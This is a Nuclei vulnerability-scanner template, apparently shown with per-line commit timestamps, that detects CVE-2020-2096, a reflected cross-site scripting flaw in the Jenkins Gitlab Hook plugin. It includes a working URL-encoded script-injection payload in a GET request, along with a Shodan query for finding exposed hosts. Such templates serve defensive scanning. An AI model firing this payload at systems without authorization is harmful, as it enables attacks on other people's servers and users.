2021-01-02 04:56:15 +00:00
id : CVE-2020-2096
2020-04-08 10:59:57 +00:00
info :
2022-08-16 14:14:41 +00:00
name : Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
2020-04-08 10:59:57 +00:00
author : madrobot
2020-05-25 07:49:06 +00:00
severity : medium
2022-08-16 14:14:41 +00:00
description : Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-03-10 11:31:41 +00:00
- https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
- http://www.openwall.com/lists/oss-security/2020/01/15/1
- http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
2022-08-16 14:14:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-2096
2024-03-23 09:28:19 +00:00
- https://github.com/Elsfa7-110/kenzer-templates
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-2096
cwe-id : CWE-79
2023-11-05 22:23:39 +00:00
epss-score : 0.96965
2024-03-23 09:28:19 +00:00
epss-percentile : 0.99712
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:jenkins:*:*
2022-04-22 10:38:41 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : jenkins
product : gitlab_hook
2023-09-06 12:22:36 +00:00
framework : jenkins
shodan-query : http.title:"GitLab"
2024-01-14 09:21:50 +00:00
tags : cve2020,cve,jenkins,xss,gitlab,plugin,packetstorm
2020-04-08 10:59:57 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-04-08 10:59:57 +00:00
- method : GET
path :
2021-11-24 07:58:52 +00:00
- "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-04-08 10:59:57 +00:00
matchers :
2020-04-08 14:42:57 +00:00
- type : word
2020-04-08 10:59:57 +00:00
part : body
2021-11-23 11:01:24 +00:00
words :
2021-11-24 07:58:52 +00:00
- "</script><script>alert(document.domain)</script>"
- type : word
2021-11-23 11:01:24 +00:00
part : header
2021-11-24 07:58:52 +00:00
words :
- text/html
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 4a0a0047304502201687a011b3c1d0b082df0fc4bf771617cb0349de4cba006052c27eaba7755f79022100c31de3ab11f6116e0df6b8b2ca349dd4cd9dfbeb7bf1ab32871215d871c1cdbb:922c64590222798bb761d5b6d8e72950